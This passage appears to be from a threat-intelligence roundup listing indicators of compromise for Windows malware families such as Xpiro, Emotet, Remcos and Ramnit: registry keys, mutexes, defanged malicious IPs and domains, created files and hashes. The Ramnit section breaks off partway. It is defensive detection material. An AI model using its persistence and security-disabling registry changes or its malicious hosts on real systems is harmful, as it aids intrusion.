Value Name: CheckSetting
16
<HKCU>\SOFTWARE\TRUEIMG
Value Name: ID
16
<HKCU>\Software\<random, matching '[A-Z0-9]{14,16}'> 16
<HKCU>\Software\<random, matching '[A-Z0-9]{14,16}'>
Value Name: data
16
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: _lfia
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: _hfnk
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: _kcgt
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: _ppqk
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: _kaol
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: _abtg
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: _rpua
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: _raet
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: _kwxa
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: _ojsf
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: _kiyk
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: _iykv
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: _hpdk
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: _htkc
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: _fshu
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: _fanp
1
Mutexes Occurrences
__xfghx__ 16
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
74[.]220[.]199[.]6 16
64[.]190[.]63[.]111 16
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
prodocument[.]co[.]uk 16
marketathart[.]com 16
joshsawyerdesign[.]com 16
emmy2015[.]com 16
nlhomegarden[.]com 16
esbook[.]com 16
Files and or directories created Occurrences
%ProgramFiles%\7-Zip\Lang\lv.txt 16
%ProgramFiles%\7-Zip\Lang\mk.txt 16
%ProgramFiles%\7-Zip\Lang\mn.txt 16
%ProgramFiles%\7-Zip\Lang\mng.txt 16
%ProgramFiles%\7-Zip\Lang\mng2.txt 16
%ProgramFiles%\7-Zip\Lang\mr.txt 16
%ProgramFiles%\7-Zip\Lang\ms.txt 16
%ProgramFiles%\7-Zip\Lang\nb.txt 16
%ProgramFiles%\7-Zip\Lang\ne.txt 16
%ProgramFiles%\7-Zip\Lang\nl.txt 16
%ProgramFiles%\7-Zip\Lang\nn.txt 16
%ProgramFiles%\7-Zip\Lang\pa-in.txt 16
%ProgramFiles%\7-Zip\Lang\pl.txt 16
%ProgramFiles%\7-Zip\Lang\ps.txt 16
%ProgramFiles%\7-Zip\Lang\pt-br.txt 16
%ProgramFiles%\7-Zip\Lang\pt.txt 16
%ProgramFiles%\7-Zip\Lang\ro.txt 16
%ProgramFiles%\7-Zip\Lang\ru.txt 16
%ProgramFiles%\7-Zip\Lang\sa.txt 16
%ProgramFiles%\7-Zip\Lang\si.txt 16
%ProgramFiles%\7-Zip\Lang\sk.txt 16
%ProgramFiles%\7-Zip\Lang\sl.txt 16
%ProgramFiles%\7-Zip\Lang\sq.txt 16
%ProgramFiles%\7-Zip\Lang\sr-spc.txt 16
%ProgramFiles%\7-Zip\Lang\sr-spl.txt 16
*See JSON for more IOCs

File Hashes

00e862ecba1e2a71769a67fc5c27499e00c5594f6b7ed4e4114c2fe1fb43492f 144c480ed69ac652c4eb4efa5b6038d7a68ed3bca67089997b4228e1c814f7c4 1b02123c913912f44a6ef1c3c4a5a008270d9d8e802e92b4baa259135f25dc21 22f322c8241b4860c066f5ae57115c58f373753e3d8c9bede4521e5a5ed85e65 35aeb94c99b948b122f3e4bd4298107ab15cb8bbdb11b533d32666dbb1455ae3 3ba05e043bf3148202f498dcddb6bd67680f76640aef2d08f9ae1272ff85e719 41cba3025ecc75863b7a836ee00fdf2bbc2df90dffb17541b5bb1c9fcb269bd1 9223631593b46b54450b76028a69ddd837d06cd7e9b3d8e3f7bd584a46af22bf b2713458d2c3ebd4b558f8c2ce19a90bd97095ca868fd499755bf1c9cbd0c388 bdf2c5fcf72e7d7870e81ffacdd01206ed98d2446a85c28e7eaf73e26d7a6eda be9fac828e64c19e0a3fbf3c4a752d5332b7c0b849556f5388645515a29538ee c00039c0454935a5079dc801ce4420457eb9964cbed8372b5aff5c60a45fa26c d540b31f009a4138b5d35735fa9976522f4d5ee9e6b8dbdbde479796ebc6d4c0 dba60ef1804b4d90d74a2988fe53f044d7619f469d0ba9660e5646a1a67439cd f1ab2d7ace4656b5f3770186d088ac0644482fe43f38fe2bdb9217744d0f58c1 ff6f821dc0526f3615b1a3c37b2b14094f53d05cb0a6a753cb257cb0bcde6898

Coverage

Product Protection
Secure Endpoint This has coverage
Cloudlock N/A
CWS This has coverage
Email Security This has coverage
Network Security This has coverage
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics This has coverage
Umbrella This has coverage
WSA This has coverage

Screenshots of Detection

Secure Endpoint



Secure Malware Analytics



MITRE ATT&CK





Win.Virus.Xpiro-9960895-1

Indicators of Compromise

  • IOCs collected from dynamic analysis of 23 samples
Registry Keys Occurrences
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CLR_OPTIMIZATION_V2.0.50727_32
Value Name: Type
23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CLR_OPTIMIZATION_V2.0.50727_64
Value Name: Type
23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CLR_OPTIMIZATION_V4.0.30319_32
Value Name: Type
23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CLR_OPTIMIZATION_V4.0.30319_32
Value Name: Start
23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\COMSYSAPP
Value Name: Type
23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\COMSYSAPP
Value Name: Start
23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\MOZILLAMAINTENANCE
Value Name: Type
23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\MOZILLAMAINTENANCE
Value Name: Start
23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\OSE
Value Name: Type
23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\OSE
Value Name: Start
23
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER\SVC\S-1-5-21-2580483871-590521980-3826313501-500 23
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER\SVC\S-1-5-21-2580483871-590521980-3826313501-500
Value Name: EnableNotifications
23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CLR_OPTIMIZATION_V2.0.50727_32
Value Name: Start
23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CLR_OPTIMIZATION_V2.0.50727_64
Value Name: Start
23
<HKLM>\SOFTWARE\MICROSOFT\.NETFRAMEWORK\V2.0.50727\NGENSERVICE\STATE
Value Name: AccumulatedWaitIdleTime
23
<HKLM>\SOFTWARE\MICROSOFT\.NETFRAMEWORK\V2.0.50727\NGENSERVICE\LISTENEDSTATE
Value Name: RootstoreDirty
23
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\.NETFRAMEWORK\V2.0.50727\NGENSERVICE\STATE
Value Name: AccumulatedWaitIdleTime
23
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\.NETFRAMEWORK\V2.0.50727\NGENSERVICE\LISTENEDSTATE
Value Name: RootstoreDirty
23
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\WSCSVC
Value Name: Start
22
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CLR_OPTIMIZATION_V4.0.30319_64
Value Name: Type
22
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CLR_OPTIMIZATION_V4.0.30319_64
Value Name: Start
22
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\IEETWCOLLECTORSERVICE
Value Name: Type
22
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\IEETWCOLLECTORSERVICE
Value Name: Start
22
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\WINDEFEND
Value Name: Start
21
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXT\STATS\{761497BB-D6F0-462C-B6EB-D4DAF1D92D43} 18
Mutexes Occurrences
kkq-vx_mtx63 23
kkq-vx_mtx64 23
kkq-vx_mtx65 23
kkq-vx_mtx66 23
kkq-vx_mtx67 23
kkq-vx_mtx68 23
kkq-vx_mtx69 23
kkq-vx_mtx70 23
kkq-vx_mtx71 23
kkq-vx_mtx72 23
kkq-vx_mtx73 23
kkq-vx_mtx74 23
kkq-vx_mtx75 23
kkq-vx_mtx76 23
kkq-vx_mtx77 23
kkq-vx_mtx78 23
kkq-vx_mtx79 23
kkq-vx_mtx80 23
kkq-vx_mtx81 23
kkq-vx_mtx82 23
kkq-vx_mtx83 23
kkq-vx_mtx84 23
kkq-vx_mtx85 23
kkq-vx_mtx86 23
kkq-vx_mtx87 23
*See JSON for more IOCs
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
107[.]22[.]125[.]105 7
3[.]217[.]206[.]46 4
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
ninite[.]com 21
www[.]bing[.]com 1
Files and or directories created Occurrences
%CommonProgramFiles%\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE 23
%CommonProgramFiles(x86)%\microsoft shared\Source Engine\OSE.EXE 23
%ProgramFiles(x86)%\Microsoft Office\Office14\GROOVE.EXE 23
%ProgramFiles(x86)%\Mozilla Maintenance Service\maintenanceservice.exe 23
%SystemRoot%\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe 23
%SystemRoot%\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe 23
%SystemRoot%\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe 23
%SystemRoot%\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe 23
%System32%\FXSSVC.exe 23
%System32%\alg.exe 23
%System32%\dllhost.exe 23
%SystemRoot%\ehome\ehsched.exe 23
%SystemRoot%\Microsoft.NET\Framework\v2.0.50727\ngen_service.log 23
%SystemRoot%\Microsoft.NET\Framework64\v2.0.50727\ngen_service.log 23
%SystemRoot%\SysWOW64\dllhost.exe 23
%SystemRoot%\SysWOW64\svchost.exe 23
%SystemRoot%\Microsoft.NET\Framework\v4.0.30319\ngen_service.log 23
%SystemRoot%\SysWOW64\dllhost.vir 23
%SystemRoot%\SysWOW64\svchost.vir 23
%SystemRoot%\Microsoft.NET\Framework\v4.0.30319\ngenservicelock.dat 23
%SystemRoot%\Microsoft.NET\Framework\v2.0.50727\ngen_service.lock 23
%SystemRoot%\Microsoft.NET\Framework\v2.0.50727\ngenservicelock.dat 23
%SystemRoot%\Microsoft.NET\Framework64\v2.0.50727\ngen_service.lock 23
%SystemRoot%\Microsoft.NET\Framework64\v2.0.50727\ngenservicelock.dat 23
%CommonProgramFiles(x86)%\microsoft shared\source engine\ose.vir 23
*See JSON for more IOCs

File Hashes

137ad3b55addd7191c8c974beef6b65bae791bc4de1e86b7e2965b311d40e2d0 1cfd0fd601a0f5234ce72672ec9c6c866dca03836198d93a320ed5df0bddd7f8 1e831b6d0cabaa8b44de36c1b96dd6e54e295502eb171be4f87723212fe574ca 1f935627d9866da115f1aad78be290f60a639bec1a94d6b8397326eeb46c111b 30ffb87628211e78074a3a891b8bd173db6f2d74dc97e735ff386361cf29aee1 3f948d4350c566416101441adb1c00121bd835db40cc08c73a556b764458673d 47934d4f40e9a5af0ee572a7e1e088d29d3bfd655d4aff26018a64118ad68a24 563c16cb752614726d350000fbf514a8b8d32a8074cd12c7545d6ff93f790ed9 591ae4985fd6993f580eae6f93f3e96f7c73c14dc3927e96223e8003f9ab3588 5cbd454095120231e23ca372fee8e9e76f34e3f5491f8ab10e8e5203e4c52570 6f0f5fda67646bc8def9c66497041528cd8ed7158a169c1b0787f59360c28ea8 7ec4a0246b5d33dfe811f4f34ab94a6b82d822196776afbe28a0f543ade8ad63 97d0aeeca4859c38984086ff1bef13c9bd11466131058fabda20dd1b21342f7a a2839faa3c7ecbff8afa71ca5787690e0e3eaeb36b899bab1926b19ce32b8c6d bcf2ae9a67fe974c02e95fbdd4edcce7df377a288c7586dae9d0b625aeedc93b c51d235b290424ad6baf08d67ab600a260200846a3f4b218e916933594b40537 d3d7dd910bd5e79fdb39d51aa83afaccdfd10538d30dd69bc7219a146e897361 d445c1ac4afae6cb028a2508c655271e3d69e07d9e016887d89d790c80fc0409 e23566aabaa7743da973840338829cc25d6936e8fcb5fb8d9b78b0ccac46c1ea e37b0661d4e4483048abcf0abba65060c78716672790e12bb0a768f04b18134b e48a371f7f5f3ad1cda0d16312f30846b6a12494967c8fba8de7f65a5673b1ff eb1ecc1ef099105b4882ccace3caf843ed1508b1463f8af6cc94adaa0181b721 ec1bc44db50911234444c575d91335113232ab5b1f6cad6acf5e52ff16ccd8fb

Coverage

Product Protection
Secure Endpoint This has coverage
Cloudlock N/A
CWS This has coverage
Email Security This has coverage
Network Security This has coverage
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics This has coverage
Umbrella N/A
WSA N/A

Screenshots of Detection

Secure Endpoint



Secure Malware Analytics



MITRE ATT&CK





Win.Dropper.Emotet-9961142-0

Indicators of Compromise

  • IOCs collected from dynamic analysis of 218 samples
Registry Keys Occurrences
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: LanguageList
190
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\<random, matching '[A-Z0-9]{8}'>
Value Name: Type
64
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\<random, matching '[A-Z0-9]{8}'>
Value Name: Start
64
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\<random, matching '[A-Z0-9]{8}'>
Value Name: ErrorControl
64
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\<random, matching '[A-Z0-9]{8}'>
Value Name: DisplayName
64
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\<random, matching '[A-Z0-9]{8}'>
Value Name: WOW64
64
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\<random, matching '[A-Z0-9]{8}'>
Value Name: ObjectName
64
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\<random, matching '[A-Z0-9]{8}'> 63
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\<random, matching '[A-Z0-9]{8}'>
Value Name: ImagePath
61
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\<random, matching '[A-Z0-9]{8}'>
Value Name: Description
60
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%systemroot%\system32\dot3svc.dll,-1103
14
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @oleres.dll,-5013
10
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%systemroot%\system32\browser.dll,-101
9
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\system32\AxInstSV.dll,-104
9
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%systemroot%\system32\dps.dll,-501
9
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\ehome\ehrecvr.exe,-102
8
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @appmgmts.dll,-3251
8
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\system32\dhcpcore.dll,-101
8
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%systemroot%\system32\appinfo.dll,-101
8
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\System32\audiosrv.dll,-205
7
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%systemroot%\system32\appidsvc.dll,-101
7
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @comres.dll,-948
7
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\System32\dnsapi.dll,-102
7
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%systemroot%\system32\cscsvc.dll,-201
7
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\System32\bthserv.dll,-102
7
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
5[.]196[.]74[.]210 82
74[.]208[.]45[.]104 82
45[.]55[.]219[.]163 82
45[.]55[.]36[.]51 82
174[.]45[.]13[.]118 82
180[.]92[.]239[.]110 82
91[.]83[.]93[.]99 82
217[.]199[.]160[.]224 78
89[.]32[.]150[.]160 78
68[.]183[.]190[.]199 78
45[.]161[.]242[.]102 78
209[.]236[.]123[.]42 78
71[.]197[.]211[.]156 78
91[.]121[.]54[.]71 78
85[.]25[.]207[.]108 58
88[.]249[.]181[.]198 58
65[.]156[.]53[.]186 58
68[.]183[.]233[.]80 58
177[.]32[.]8[.]85 58
81[.]17[.]93[.]134 58
197[.]232[.]36[.]108 58
23[.]46[.]150[.]72 30
23[.]46[.]150[.]48 27
23[.]221[.]72[.]27 13
23[.]221[.]72[.]10 6
*See JSON for more IOCs
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
apps[.]identrust[.]com 82
Files and or directories created Occurrences
%SystemRoot%\SysWOW64\<random, matching '[a-z]{8}'> 35
%SystemRoot%\SysWOW64\printui 2
%SystemRoot%\SysWOW64\NlsLexicons0414 2
%SystemRoot%\SysWOW64\utildll 2
%SystemRoot%\SysWOW64\NlsData000a 2
%SystemRoot%\SysWOW64\fthsvc 2
%SystemRoot%\SysWOW64\shlwapi 2
%SystemRoot%\SysWOW64\WcsPlugInService 2
%SystemRoot%\SysWOW64\NlsLexicons0002 2
%SystemRoot%\SysWOW64\d3d8thk 1
%SystemRoot%\SysWOW64\instnm 1
%SystemRoot%\SysWOW64\cttune 1
%SystemRoot%\SysWOW64\tsbyuv 1
%SystemRoot%\SysWOW64\KBDSW 1
%SystemRoot%\SysWOW64\fc 1
%SystemRoot%\SysWOW64\rshx32 1
%SystemRoot%\SysWOW64\KBDHE220 1
%SystemRoot%\SysWOW64\WMADMOE 1
%SystemRoot%\SysWOW64\NlsData0002 1
%SystemRoot%\SysWOW64\iprop 1
%SystemRoot%\SysWOW64\rastls 1
%SystemRoot%\SysWOW64\aecache 1
%SystemRoot%\SysWOW64\SMBHelperClass 1
%SystemRoot%\SysWOW64\KBDNO 1
%SystemRoot%\SysWOW64\mfc100 1
*See JSON for more IOCs

File Hashes

0154a4e3faa4dafca324954364d049324d6fcc6b8a1c90cbae92cd41f8927c4e 01ea88880d59cd617d53bfd1849ad0c2023c9febc43b48579d06802c9b324d77 0222be0813e32c7a2c87a31482e33830a91b73a750aff3499da5caa100646607 0242673f6b5b086a61873f4773b8b7f119d025325f2724cb362b1151adccfc8b 02f7999d6693f08f5983effb8bee06145be3f7dc22ff1e5b745e8d0633fe19d6 038008283ccba00047b767169fd02554182310d7b32c6def8a3fc1c6a045daf1 0403b01de17d2130faa4eecf11111acf15bc672dfeb9394054e5aa05166b8289 044242411968ca1c92b3a645d7f470cf0cda1a220920da688558fde7f4108eb9 055014bbf3a21173e4e2d9fb22124d7d249bc8f8c748151197d6e985bdf06f67 05cf33a7202716161360fc0e6fd45091f9a290954ba26a64037745652fa4b487 066202dc95bd51220d42f603a030ef71527b8dc56e62200f0d175f09f3f89c27 06ee8bc6b3c35b3d3ea924f73db6da1df9061e69b487bad9718328f1d186f0c7 0780d91df0f27af4b00d51e531a1cf12d50bbb048a211e0b287820bd9313eab5 07c262357505c7bef31ebfe2bb6c13a3d386e38d262ba2bdbfb2e52c1bd066fd 080fc908405201cbf074d6343acf66ee3c4d57f231c399b87097f75b8ca7960f 08e6bfa50d4fe544c03474d1a23776762a47a0ceed44dbe5bbb6e09fce30b055 091b50c4a374f1fc1d15e81044c2b50f03fa7c3e8359eb09bb95dc25deeebd4d 098861c8b4411225b4fde8737ccb518052ef40c896ee4e42dfeecf322e56f07f 09c4a4a31a51590b27a82bcff450c29391d3dfde480df012f43020e858efb639 0b533cf67e6fd8298b62d3aaea82f07ad11c600fa8917f3b683a72da9ca2fa7e 0c33a1f3687e65daa8825856f309cc40ef97d0892ef7742a77355124e296b815 0ccab31b5610aac24a242c812f474ff24b8e345aa78fd4b7d0a92b690938f908 0cd25d45a5e31de0fc1b75ba65c5b43d934b60b7d07638aaa1ce0d83afd984ec 0d3fee19509a873e96a1b2559d9193cf046f7f35f49d16b180438d9df7da027f 0ea6a45d2ad1115ce7141f15693139b8bd9e5ffebb5a1321ab8c48e62d65fab9
*See JSON for more IOCs

Coverage

Product Protection
Secure Endpoint This has coverage
Cloudlock N/A
CWS This has coverage
Email Security This has coverage
Network Security This has coverage
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics This has coverage
Umbrella N/A
WSA This has coverage

Screenshots of Detection

Secure Endpoint



Secure Malware Analytics



MITRE ATT&CK





Win.Dropper.Remcos-9961392-0

Indicators of Compromise

  • IOCs collected from dynamic analysis of 14 samples
Registry Keys Occurrences
<HKCU>\SOFTWARE\POULUS 14
<HKCU>\SOFTWARE\POULUS\MICROMINIATURISER 14
<HKLM>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\BRUGERNAVNETS 14
<HKLM>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\BRUGERNAVNETS\TIVOLIET 14
<HKCU>\SOFTWARE\POULUS\MICROMINIATURISER
Value Name: Komplettes
14
<HKLM>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\BRUGERNAVNETS\TIVOLIET
Value Name: Fins
14
<HKCU>\SOFTWARE\[email protected] 7
<HKCU>\SOFTWARE\[email protected]
Value Name: licence
7
<HKCU>\SOFTWARE\[email protected]
Value Name: exepath
7
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE
Value Name: ornamenterne
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE
Value Name: Hyldetrs
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE
Value Name: lnglidninger
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE
Value Name: Vampirebat
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE
Value Name: Dereferencing
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE
Value Name: Sarkastisk
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE
Value Name: Martyrologistic
1
Mutexes Occurrences
Remcos_Mutex_Inj 7
[email protected] 7
Global\916138a1-15e4-11ed-9660-00151792685a 1
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
5[.]2[.]75[.]164 7
181[.]235[.]13[.]200 4
186[.]169[.]54[.]97 3
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
colpatvalidacionnuevo[.]xyz 7
Files and or directories created Occurrences
%HOMEPATH%\Desktop\Markedness.ini 14
%TEMP%\ns<random, matching '[a-z][A-F0-9]{1,4}'>.tmp 14
%TEMP%\ns<random, matching '[a-z][A-F0-9]{4}'>.tmp\System.dll 14
%TEMP%\logsflat458 7
%TEMP%\logsflat458\sasgs527.dat 7
\TEMP\en-US\22d69844486d029467b528c89bf763a6.exe.mui 1
\TEMP\en-US\ef6731323cff411f303c2bd29b9f15c8.exe.mui 1
\TEMP\en-US\b2a7538d257a51b1a506b646c248fcbe.exe.mui 1
\TEMP\en-US\570979659276a2a985f97f7965f97f76.exe.mui 1
\TEMP\en-US\f231d436f8d62de3082ea791da78ed50.exe.mui 1
\TEMP\en\f231d436f8d62de3082ea791da78ed50.exe.mui 1
\TEMP\en\ef6731323cff411f303c2bd29b9f15c8.exe.mui 1
%TEMP%\Selenitic 1
%TEMP%\Dextroamphetamine 1
%TEMP%\Selenitic\Uncooping.exe 1
%TEMP%\Dextroamphetamine\Lobcokt.exe 1
\TEMP\en\22d69844486d029467b528c89bf763a6.exe.mui 1
%TEMP%\Tiki124 1
%TEMP%\Tiki124\Unexpecting.exe 1
\TEMP\en\b2a7538d257a51b1a506b646c248fcbe.exe.mui 1
\TEMP\en\570979659276a2a985f97f7965f97f76.exe.mui 1
%TEMP%\Sekundrkommunens 1
%TEMP%\Giganter27 1
%TEMP%\Sekundrkommunens\Unpracticability174.exe 1
%TEMP%\Giganter27\Spandauerne.exe 1
*See JSON for more IOCs

File Hashes

125b94822affbd4b1b67333905a91231c62e427334475ada0daa44d007e884c1 332cb82247db85cd4c772200938a7623c4161a15d680157cdc688b53aae2303a 3efb2166b220fd7d7e5df42739d998f6ed4c70fefdcb03b6a9b1810d6dcfcd77 42d77fbb29467078ade8ecba705a648d3d4aeacd5f6735a6d92d17cb55ff7049 6761e346725d0cfa3436b459176ff467f7b4a426af0559845032c912420747cd 72d9be63e832a89a04ffcfb48c30199d3461fe982bde962f57c7cf71e0f5f06a 8c420a6337376e20c987679a34e3d09194e504c444fbf50619328f5c0dda9217 942dcafe7a16cfdd1769048c73590ec2c29e9c76a9f6c46e6b6e88ac2220b0ef 9ead44844a24092afb456478686839852e04cd1ad8e081185ae432f1171baa1b a3ec71d27779875c7262d608c3c5e591fa7c12f0893e006bb6f7d2ad1d710142 a742e0a1f7939fdaf5eb615bac3da040781bd19e84e3f647186314ecb6e0fa5e ce2ff79b4178d9b7f142001bc227753dd395fcd1a28a385bfa379e0857181467 d52c22336b2e2efaeab6b8eb2be8726a36eaea553905b01102d9716d4c6184af e2deccb5d8cc1ec270d95501aaa7e53951bd7f89c2c0bcd50420bf94b7057675

Coverage

Product Protection
Secure Endpoint This has coverage
Cloudlock N/A
CWS This has coverage
Email Security This has coverage
Network Security This has coverage
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics This has coverage
Umbrella This has coverage
WSA This has coverage

Screenshots of Detection

Secure Endpoint



Secure Malware Analytics



MITRE ATT&CK





Win.Dropper.Ramnit-9961396-0

Indicators of Compromise

  • IOCs collected from dynamic analysis of 26 samples
Registry Keys Occurrences
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER
Value Name: AntiVirusOverride
26
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER
Value Name: AntiVirusDisableNotify
26
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER
Value Name: FirewallDisableNotify
26
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER
Value Name: FirewallOverride
26
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER
Value Name: UpdatesDisableNotify
26
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER
Value Name: UacDisableNotify
26
<HKLM>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM
Value Name: EnableLUA
26
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\SHAREDACCESS\PARAMETERS\FIREWALLPOLICY\STANDARDPROFILE
Value Name: EnableFirewall
26
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\SHAREDACCESS\PARAMETERS\FIREWALLPOLICY\STANDARDPROFILE
Value Name: DoNotAllowExceptions
26
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\SHAREDACCESS\PARAMETERS\FIREWALLPOLICY\STANDARDPROFILE
Value Name: DisableNotifications
26
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\WSCSVC
Value Name: Start
26
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\WINDEFEND
Value Name: Start
26
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\MPSSVC
Value Name: Start
26
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION
Value Name: jfghdug_ooetvtgk
26
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: JudCsgdy
26
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\WUAUSERV
Value Name: Start
26
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: Windows Defender
26
<HKLM>\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON
Value Name: Userinit
26
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON
Value Name: Userinit
26
Mutexes Occurrences
qazwsxedc 26
{7930D12C-1D38-EB63-89CF-4C8161B79ED4} 26
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
72[.]26[.]218[.]70 25
195[.]201[.]179[.]207 25
208[.]100[.]26[.]245 25
46[.]165[.]220[.]155 25
35[.]205[.]61[.]67 25
142[.]250[.]80[.]14 25
